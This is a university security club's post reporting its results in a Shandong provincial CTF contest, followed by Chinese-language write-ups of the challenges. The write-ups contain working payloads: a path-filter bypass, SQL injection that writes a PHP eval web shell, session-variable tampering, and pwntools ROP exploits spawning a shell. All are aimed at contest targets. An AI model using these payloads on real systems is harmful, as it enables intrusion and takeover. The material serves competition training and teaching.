2023年11月14日，我社成员参加了山东省技能兴鲁大赛。在此次比赛当中，我社两支参赛队伍均表现出色，分别斩获第13名和第15名。22级的师傅们认真执着，凭着自身过硬的技术和队友间默契的配合在此次“技能兴鲁”比赛中大放异彩。
python2 vol.py -f image.vmem --profile=Win7SP1x64 filescan|grep flag
python2 vol.py -f image.vmem --profile=Win7SP1x64 dumpfiles -Q 0x0000000007a09f20 -D ./
flag{23030d1c2aa90debdf7757782e9f1ee9}
python2 vol.py -f image1.vmem --profile=WinXPSP1x64 filescan | grep png
python2 vol.py -f image1.vmem --profile=Win7SP1x64 dumpfiles -Q 0x0000000002d44eb0 -D ./
zsteg chuyin.png
flag{Hat3une_M1ku}rI$
import os
from pyzbar.pyzbar import decode
from PIL import Image
def scan_qrcodes(folder_path):
# 检查文件夹中的所有文件
for filename in os.listdir(folder_path):
if filename.endswith(('.png', '.jpg', '.jpeg', '.gif', '.bmp')):
# 拼接完整的文件路径
file_path = os.path.join(folder_path, filename)
# 打开图像文件
image = Image.open(file_path)
# 解码图像中的二维码
decoded_objects = decode(image)
# 打印所有解码出的二维码内容
for obj in decoded_objects:
print(f"文件 {filename} 中的二维码内容: {obj.data.decode('utf-8')}")
# 使用示例
folder_path = './attachment'
scan_qrcodes(folder_path)
扫描二维码得到base64
MiAzIDQgOSAxNSAxNyAxOCAyMyAzMA==
NiAxMyAyMCAyNyAyOA==
MiAxNSAyMiAxNyAyNCAxNg==
NiA1IDQgMTEgMTggMjUgMjYgMjcgMjggMjAgMjE=
MiAzIDkgMTUgMjMgMzAgMzE=
NSAxMyAyMCAyNyAxNCAyMQ==
NiAxOSAyNiAyMSAyOCAyMA==
OSAxMCAxMSAxNyAyNCAzMQ==
MSAyIDMgOCAxNSAxNiAxNyAyMiAyOSAzMA==
MiAzIDkgMTYgMTcgMjQgMzAgMzE=
MiA4IDE1IDIzIDI0IDE4IDExIDM=
MSAyIDkgMTcgMjMgMzAgMjk=
base64解码得到
之后根据日历表。画图，得到flag
画图就像这样：
拼起来得到flag
flag{DATESO}
<?php
highlight_file(__FILE__);
print("FLAG就存在于日志文件里哦！");
if (isset($_GET['path'])) {
$path = $_GET['path'];
if (preg_match('/flag|$|["']/i', $path)) {
echo "错误";
} else {
$path = str_replace("log","", $path);
if (file_exists($path)) {
$content = file_get_contents($path);
echo highlight_string($content, true);
} else {
echo "文件不存在";
}
}
} else {
echo "请提供文件路径";
}
FLAG就存在于日志文件里哦！请提供文件路径
双写绕过检查
payload
path=/var/lologg/nginx/access.lologg
登陆之后
进入花费界面
将-100改为+100000000，发包，来回几次
在购买flag，在控制台看到flag
参考文章https://blog.csdn.net/qq_43573676/article/details/105627370
在主页面进行post传参
_SESSION[login_in]=1&_SESSION[admin]=1&_SESSION[login_time]=99999999999
之后访问url/admin/login.php
便会自动进入后台管理界面
之后退出登录
进入到后台登录界面
在登录界面存在sql注入漏洞
user=admin' un union ion selselectect 1,0x3c3f70687020406576616c28245f524551554553545b27414243275d293b3f3e,3,4,5 i into nto outoutfilefile
'/var/www/html/123.php'#&password=12&code=f333&submit=true&submit.x=49&submit.y=30
之后访问123.php
成功写马，
蚁剑链接，得到flag
from pwn import *
io = process("./pwn")
context.log_level = "debug"
context.terminal = "wt.exe nt bash -c".split()
io.sendlineafter("2.changen", "1")
io.sendlineafter("name: ", "abf1ag")
io.sendlineafter("age: ", "18")
io.sendlineafter("address: ", "aaaa")
io.sendlineafter("2.changen", "2")
io.sendlineafter("id: ", "0")
io.sendlineafter("address: ", "aaaa")
# gdb.attach(io, "b *0x402E86")
# pause()
io.sendafter("check name: ", b"a" * 0x358 + p64(0x4025EF) + p64(0x4025D6) + b"n")
io.interactive()
from pwn import *
from LibcSearcher import *
context.log_level = 'debug'
p = remote('vt.jnxl2023.sierting.com',31096)
# p = process('./pwn')
elf = ELF('./pwn')
libc = ELF('libc.so.6')
got_addr = elf.got['puts']
plt_addr = elf.plt['puts']
main_addr = elf.symbols['main']
pop_rdi = 0x00000000004011e3
pop_rsi_r15 = 0x00000000004006e1
payload = (0x10+8)*b'a' + p64(pop_rdi) + p64(got_addr) + p64(plt_addr) + p64(main_addr)
# print(payload)
p.sendline(payload)
# p.recvline()
puts_addr=u64(p.recvuntil(b"x7f")[-6:].ljust(8, b"x00")) #将其中的前6个字节（因为这里用的是Little Endian字节序）转换成unsigned long long类型的整数，
# leak = u64(p.recvuntil(b"x7f")[-6:].ljust(8, b"x00"))
print(hex(puts_addr))
# libc = LibcSearcher("puts",puts_addr)
# libcsase = puts_addr - libc.dump("puts")
# system_addr = libcsase + libc.dump("system")
# binsh_addr = libcsase + libc.dump("str_bin_sh")
libc_base = puts_addr - libc.sym['puts']
system_addr = libc_base + libc.sym['system']
binsh_addr = libc_base + next(libc.search(b"/bin/shx00"))
ret_addr = 0x000000000040101a
payload2 = (0x10+8)*b'a' + p64(ret_addr) + p64(pop_rdi) + p64(binsh_addr) + p64(system_addr)
p.sendline(payload2)
p.interactive()
赛博厨子嗦哈
不知道啥情况，打开就是flag，试了，还真是
自带解密函数
Java.perform(function () {
var aESUtils =Java.use("com.example.easyre.AESUtils");
aESUtils.decrypt.implementation=function (a,b){
console.log("miwen:",a);
console.log("key", b);
var srcret = this.decrypt(a,b);
console.log("加密后:",srcret);
return srcret;
}
});
hook出来然后直接看密文
base64解密
动调出key
直接解密
解base100
Vm0wd2QyUXlVWGxWV0d4V1YwZDRWMVl3WkRSV01WbDNXa1JTVjAxV2JETlhhMUpUVjBaS2RHVkdXbFpOYWtFeFZtcEJlRll5U2tWVWJHaG9UV3N3ZUZadGNFdFRNVTVJVm10V1VtSlZXbGhXYlhoelRURmFjVkZ0UmxSTmJFcEpWbTEwYTFkSFNrZGpTRUpYWVRGd2FGcFdXbUZrUlRGVlZXeFNUbUY2UlRGV2EyUXdZekpHYzFOdVVtaFNlbXhXVm0weGIxSkdXbGRYYlVacVZtdGFNRlZ0ZUZOVWJVWTJVbFJHVjFaRmIzZFdha1poVjBaT2NtRkhhRk5sYlhoWFZtMXdUMVF3TUhoalJscFlZbFZhY2xWcVFURlNNV1J5VjJ4T1ZXSlZjRWRaTUZaM1ZqSktWVkpZWkZkaGExcFlXa1ZhVDJNeFpITmhSMnhUWVROQ1dsWXhXbXROUjFGNVZXNU9hbEp0VWxsWmJGWmhZMnhXY1ZKdFJsUlNiR3cxVkZaU1UxWnJNWEpqUld4aFUwaENSRlpxU2tkamJVVjZZVVphYUdFeGNHOVdha0poVkRKT2RGSnJhR2hTYXpWeldXeG9iMWRHV25STlNHaFBVbTE0VjFSVmFHOVhSMHB5VGxac1dtSkdXbWhaTW5oWFkxWkdWVkpzVGs1WFJVcElWbXBLTkZReFdsaFRhMlJxVW14d1dGbHNhRk5OTVZweFUydDBWMVpyY0ZwWGExcDNZa2RGZWxGcmJGZGlXRUpJVmtSS1UxWXhXblZWYldoVFlYcFdlbGRYZUc5aU1XUkhWMjVTVGxOSGFGQlZiVEUwVmpGU1ZtRkhPVmhTTUhCNVZHeGFjMWR0U2tkWGJXaGFUVzVvV0ZreFdrZFdWa3B6VkdzMVYwMVZiekZXYlhCTFRrWlJlRmRzYUZSaVJuQlpWbXRXZDFZeGJISlhhM1JVVW14d2VGVnRNVWRWTWtwV1lrUmFXR0V4Y0hKWlZXUkdaVWRPU0U5V1pHaGhNSEJ2Vm10U1MxUXlVa2RUYmtwb1VqSm9WRmxZY0ZkbGJHUllaVWM1YVUxWFVraFdNalZUVkd4a1NGVnNXbFZXYkhCSVZGUkdVMVp0UmtoUFYyaHBVbGhDTmxkVVFtRmpNV1IwVTJ0a1dHSlhhR0ZVVnpWdlYwWnNObEpzWkdwaVNFSklWMnRrYzFVeVNuSlRiVVpYVFc1b1dGZFdXbEpsUm1SellVWlNhVkp1UWxwV2JYUlhaREZaZUdKSVNsaGhNMUpVVlcxNGQyVkdWbGRoUnpsb1RWWndlbFl5Y0VkV01ERjFZVWRvV2xaWFVrZGFWV1JQVWpKR1IyRkhiRk5pYTBwMlZtMTBVMU14VVhsVmEyUlZZbXR3YUZWdGVFdGpSbHB4VTIwNWJHSkhVbGxhVldNMVlWVXhXRlZzYUZkTlYyaDJWMVphUzFJeFRuVlJiRlpYVFRGS05sWkdVa2RWTVZwMFVtdG9VRll5YUhCVmJHaENaREZhYzFwRVVtcE5WMUl3VlRKMGExZEhTbGhoUjBaVlZteHdNMXBYZUhKbFYxWklaRWQwVTJFelFYZFhiRlpoWVRKR1YxZHVTbWxsYTFwWVdXeG9RMU14VWxkYVJWcHNVbTFTV2xkclZURldNVnB6WTBaV1dGWnNTa2hhUkVaYVpVZEtTVk5zYUdoTk1VcFZWbGN4TkdReVZrZFdXR3hyVWpCYWNGVnRlSGRsYkZWNVpVaGtXR0pHY0ZoWk1HaExWakZhUmxkcmVGZE5WbkJJV1RJeFMxSXhjRWhpUm1oVFZsaENTMVp0TVRCVk1VMTRWbGhvV0ZkSGFHaFZNRnBoVm14c2NsZHJkR3BTYkhCNFZUSXdOV0pIU2toVmJHeGhWbGROTVZsV1ZYaFhSbFp6WVVaa1RsWXlhREpXTVZwaFV6RkplRlJ1VG1GU2JGcFlXV3RvUTA1c1draGtSMFpYWWxaYVdWWlhkRzloTVVsNVlVaENWbUpIYUVOYVJFWmhZekZ3UlZWdGNFNVdNVWwzVmxSS01HSXlSa2RUYms1VVlrZG9WbFpzV25kTk1WcHlWMjFHYWxacmNEQmFSV1F3VlRKRmVsRllaRmhpUmxwb1dWUktSMVl4VG5WVWJXaE9UVzFvV1ZkV1VrZGtNa1pIVjJ4V1UySkdjSE5WYlRGVFRWWlZlV042UmxoU2EzQmFWVmQ0YzFkR1duUlZWRUpoVWtWYVlWcFZXbXRrVmtwelZtMXNWMUl6YURaV01XUXdXVmRSZVZaclpGZFhSM2h5VldwT1UySXhiSE5XYm1SWFRWWndNRmt3WkVkWFIwcEhZMFpvV2sxSGFFeFdha1poVW14a2NtVkdaR2hoTTBKUlZsUkdhMU14U1hoalJXUmhVbXMxV0ZZd1ZrdE5iRnAwVFZSQ1ZrMVZNVFJXVm1oelZtMUZlVlZzVmxwaVdGSXpXV3BHVjJOV1RuUlBWbVJUWWxob1lWZFVRbUZoTWtwSVUydG9WbUpIZUdoV2JHUk9UVlpzVjFaWWFGaFNiRnA1V1ZWYWExUnRSbk5YYkZaWFlUSlJNRlY2Umt0ak1YQkpWbXhTYVZKc2NGbFhWM1JoWkRBMWMxZHJhR3hTTUZwaFZtMHhVMUl4VW5OWGJVWldVbXh3TUZaWE5VTldNa3BJWVVWU1ZXSllhR2hXYkZwUFZsWktjMVpyTlZkaWEwWXpWbXhqZDAxV1RYaFZXR2hZWW1zMVZWbHJaRzlXYkZwelYyNWtUazFXY0hsV01qRkhZV3hhY21ORVJsaGhNWEJRVmtkNFlXTnRUa1ZXYkdSVFRUSm9iMVpyVWt0U01WbDRWRzVXVm1KRlNsaFZiRkpYVjFaYVIxbDZSbWxOVjFKSVdXdG9SMVpIUlhoalNFNVdZbFJHVkZZeWVHdGpiRnBWVW14b1UyRXpRbUZXVm1RMFpERlplVk5zYkZaaVIyaG9WV3RXWVdOc1ZuRlRhM1JVVm14S01GbFZXazloUjFaelYycGFWMDFYVVhkWFZtUlNaVlphY2xwR1pGaFNNMmg1VmxkMFYxTXhaRWRWYkdSWVltMVNjMVp0ZUhOT1ZuQldZVWQwV0ZJd2NFaFpNRnB2VjJzeFNGVnVXbGROYm1ob1ZqQmFWMk5zY0VoU2JHUlhUVlZ3VWxac1pIZFRNVWw0VTFoc1UyRXlhSEJWYlhNeFkwWnNWVkZ1WkU1aVJuQXdWRlpTUTFack1WWk5WRkpYVm0xb2VsWnRNVVpsVmxaelYyeHdhVmRHU1hwWFZsWmhWakpTU0ZacldtdFNNMEpVV1d0b1EwNUdXbFZUV0dSUFZqQndTVlV5ZEc5V2JVcElaVWRvVjJKSFVrOVVWbHB6VmpGYVdXRkhjR2xXV0VKSFZteGtOR0V4VW5OWFdHeG9Va1Z3V0ZSV1duZGhSbFkyVW10d2JGSnNTakZXYlhoTFlWWktjMk5HYkZoV00xSjJWVlJHYTFZeFpISmhSM1JUVFVad2FGWnRNSGhWTVU1WFYyeG9hMUo2Ykc5VVZsWjNUVVpzVmxkc1RsZFdiSEJaV1ZWV1UxWnJNVmRqU0VwWFlrWndTRnBGV2t0a1IwNUdUbFprVGxaWGQzcFdiWGhUVXpBeFNGSllhR0ZTVjJoVldXdGtiMkl4Vm5STlZ6bGFWbXh3ZVZadE1VZFVhekZYWTBoc1YwMXFSa2haVjNoaFkyMU9SVkZ0UmxOV01VWXpWbXhTUzFKdFZuTlNiR3hoVW0xb2NGVnRlSGRpTVdSWFZXdDBVMDFYVWtoVk1uaHpXVlpKZWxGc1VsZGhhelYyVmpGYWExZEhWa2hQVmtwT1ZtdHdTVlpzWXpGVE1XUklVMnRhYWxORk5WZFpiRkpIVmtad1dHVklUbGRpUjFKNlZrY3hiMVV4V2taWGFscFhWa1ZyZUZsVVJscGxSbVJaWTBaYWFWWXlhRmhYYkdRd1dWWnNWMk5HV2xoaVIxSnhWRmQwWVZJeFVYaFhiWFJwVWpCd1dsbFZVbUZXTURGWVZWaGtXRlp0VWxOYVZscGhZMnh3UjFwSGJHbFNXRUpSVm0weE5HRXhWWGhYYms1V1lrZG9jbFV3WkZOV1JsSlhWMjVPVDFadVFsZFpWV1F3VjBaSmQyTkZhRnBOUm5CMlZqSnplRk5IUmtabFJtUk9ZbTFvYjFacVFtRldNazV6WTBWb1UySkhVbGhVVmxaM1ZXeGFjMVZyWkdoTlZURTBWVEZvYjJGc1NsaFZiV2hXWWxoTmVGWXdXbHBrTVZweVpFVTFhVkp1UVhkWGJGWnFUbGRGZDAxV1drNVdSa3BZVm0weGIyUnNXWGRYYlhSVVVqQmFTbFZ0ZUdGaFZrbDRVbGhrVjJKVVJUQlpla3BPWlVaa2RWVnNUbWxTTVVwVlYxZDBWMlF4WkhOWGEyaHNVak5DVUZadGVITk9SbGw1VGxVNWFHSkZjRmxaVlZwdlZqSkdjazVXVG1GU1JWcDZWbXBHWVZkWFJrZGhSazVwVW01Qk1sWXhXbGRaVjBWNFZXNU9XRmRIZUc5VmExWjNWMFpTVjFkdVpHaFNiRmt5VlcxME1HRnJNVmRUYWtaWFZqTm9VRmxXV2twbFJrNTFXa1prYVZkR1NsbFdiVEI0VlcxV1IxcElWbE5pUlhCd1ZteGFkMlJzV2tkYVNIQk9WakZhZWxZeGFITlVNVnB5VGxjNVZWWnNXak5VVlZwaFYwVTFWbFJzWkU1aE0wSktWMVpXVjFVeFdsaFRhMlJxVWpKb1YxUlZaRk5YUmxWM1YydDBhMUl3TlVkVWJGcHJWR3hhV0dRemNGZGlXR2hVVlhwQmVGTkdTbGxoUjBaVFZqSm9WbGRYZEd0aU1rbDRWbTVTVGxaNmJHRldiVEUwVm14V2RFNVhkRlZoZWtaWVdXdFNUMVl3TVhGV2EzaGFZVEZ3VEZwRldsZGtWMHBJVW14T1YwMVZXWHBXYlhoVFV6RktkRlp1VGxOaWExcFpXV3RrVTJOR1ZuRlNhMXByVFZkU1dGWlhkREJWTURGWFlrUlNWMUo2VmxCWFZscEtaVmRHUms5V1ZsZE5NbWhOVm1wR1lXRXhaRWhXYTJoUVZtdHdUMVp0ZEhkVFZscHpXWHBHVkUxWFVrbFZNblJoWVd4T1JrNVdhRnBpUjJoVVZGUkdkMVl4WkhSa1IzQnBVakZLTmxaclpEUmlNVlY1VWxoc2EyVnJXbGxXYlhoaFlVWndSVkp0ZEZOTlYxSjRWako0UzFkR1NYbGhSbWhYWWxoU1dGZFdaRTlqTVZwMVVteE9hVkl4U25oV1JtUXdXVlpKZUZWWWFGaGlXRkp2VldwR1lXVnNXWGxsUldSWFRXdFdORmt3Wkc5WFJscDBWV3hPWVZac2NHaFpNbmgzVWpGd1IyRkdUazVOYldjeFZtMTRhMlF4UlhoaVJtaFZZVEpTV0ZsdGVFdGpNVlYzV2taT2FrMVhlSGxXTW5oclZERmFkVkZzWkZwV1YxRjNWakJhU21ReVRrWmhSbkJPVW01Q01sWnFTbnBsUms1SVVtdGFiRkp0VW05WlZFNURVMVprVlZOcVVtaE5helV3Vm0xMGExbFdTWGxoUnpsVlZrVktURlpYZUdGak1YQkpXa1pPVGxadGR6RldhMXB2WXpGVmVWSlliR2hUUlVwWFdXeG9UbVZHYTNkWGJGcHJUVlp3ZVZwRlZURmhWa3AxVVdwU1YxWkZjRE5WVkVaaFkyc3hWMWR0YkZOU2EzQlpWbGN3ZUdJeVZuTlhiazVZWWxoU1ZWVnFSbUZUUmxsNVpVaGtWMDFWY0ZoWmFrNTNWMFpaZWxGcmFGZGhhM0JRVm1wR1YyUldUbk5XYld4VFRWVndWbFl4WkRSaU1rbDNUbFprV0dKc1NrOVZhMVpoWWpGU1YxZHVUazlTYkd3MVZHeFZOV0ZIU2taalJXUldUV3BHZGxadE1VdFRSbFp6Vld4YVRsSnVRbWhYYkZwclZqRk9SMU51VW10U2F6VndWVzAxUWsxV1dYaFhiR1JhVmpCV05GWlhOVk5WTWtweVRsWnNXbUV4Y0doV01GcHpWbFpPYzFOck5WTmlSbXQ1VmxjeE1FMUhSbkpOVm14U1lUTkNXRmxzYUc5V1JteFhWMnQwYWsxck5VaFphMXB2VmpBd2VGTnFTbGRXYkVwRFZGWmtUbVZHY0VsVGJXaFRUVEpvVlZaR1ZtRmtNa1pIVjI1U1RsTkhhRmRVVmxaelRrWmFXRTVWT1ZoU01IQlhWako0YTFadFNsbGhSRTVWVmxad2FGWXdWVEZXYkZKeldrVTFhRTB3U2t0V01WcFhWakZWZUZkc2FGUmhNbEp4VldwS2IxWXhVbFphUms1WVVteFdNMVl5ZERCaE1VbDNUbFZrVldKR2NISldSM2hoVjBkUmVtTkdaR2xYUjJoVlZsaHdRbVZHVGtkVWJHeHBVbXMxYjFSWGVFdFdiR1JZVFZod1RsWnNjRmhaYTJoUFZqSktWbGRzYUZwaE1YQXpWRlZhZDFadFJraGtSbFpvWld0YVdsZHNWbUZoTVZsM1RWaEdWMkpyY0ZoV2ExWjNWRVpWZUZkclpHcGlTRUpJVm0xek1WWXlTa2RXYWxKWFRWWndhRmRXV2s1bFJuQkhXa1pPYVdFeGNGcFhWM1JyWWpGa1IySklTbGhpYlZKelZtMHhVMWRzYTNkV2JYUlhUV3R3V0ZWdGNFOVdWbHB6WTBoS1YwMUhVa3hXTUdSWFUxWlNjMk5HWkZOV2JUazJWbTF3UjFsWFJYaGFSV2hYWVRKb1VWWnRkSGRVTVZwMFpFaGtWRlpzY0hwWGExSlRWMnhhZEdWR2FGWk5ibWh5V1ZkNFQxSnJOVmRhUm5CcFVtdHdTVlp0ZEdGWGJWWllWbXRzVldKWVFuQlZha1pMVG14YWNsa3phR2xOVmxZMFZqSjBZVmRIUm5OalJtaFhZVEZhZVZwVlduTmpWa3B6WTBkNFUySldTbUZYVkVKcllqRlZkMDFZVW1oU2VteFlWbXBPVTFkR1pGZFhiazVYVFdzMVNGWXllRzloVm1SSFUyNXNWMkpVUlRCWFZsVjRVakpPUjFkc2FHaGxiWGhhVmxjeE1HUXlWbGRoTTJSWVltMVNXRlJYZEZkT1JtdDNXa2M1V0ZKc2NIcFpNR2gzVmpKR2NsZHNVbHBOYm1nelZXcEdkMU5IU2toaFIzaHBVbTVDWVZadGNFZGhiVlpJVm01S1RsWnRVbGxXTUdSdlYxWnNkR1ZGZEdwTlZscDRWVmN4UjFkR1NuUmxTR3hYVFc1UmQxWnFRWGhXTWs1SFlrWldhVkpzYkROV2JURTBXVmROZUZwSVRsaGlSbHBZVm0xMGQwNVdXbFpYYTFwUVZtdEtVMVZHVVhkUVVUMDk=
解base64
atbash_cipher和string_reverserever
ntio{lmi8i56k1lkn73im7ni75k52in41jj70}
Caesar 8
flag{dea8a56c1dcf73ae7fa75c52af41bb70}有技能，才兴鲁。此次“技能兴鲁”大赛不仅仅是一场竞赛，更是参赛者们技术能力的综合体现，同时也是他们为保护网络安全做出贡献的见证。期待他们继续努力，在网络安全领域中绽放更加耀眼的光芒！
长
按
关
注
网络安全社团公众号
微信号 : qlnu_ctf
新浪微博：齐鲁师范学院网络安全社团
原文始发于微信公众号（齐鲁师院网络安全社团）：山东省“技能兴鲁”职业技能大赛WriteUp
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论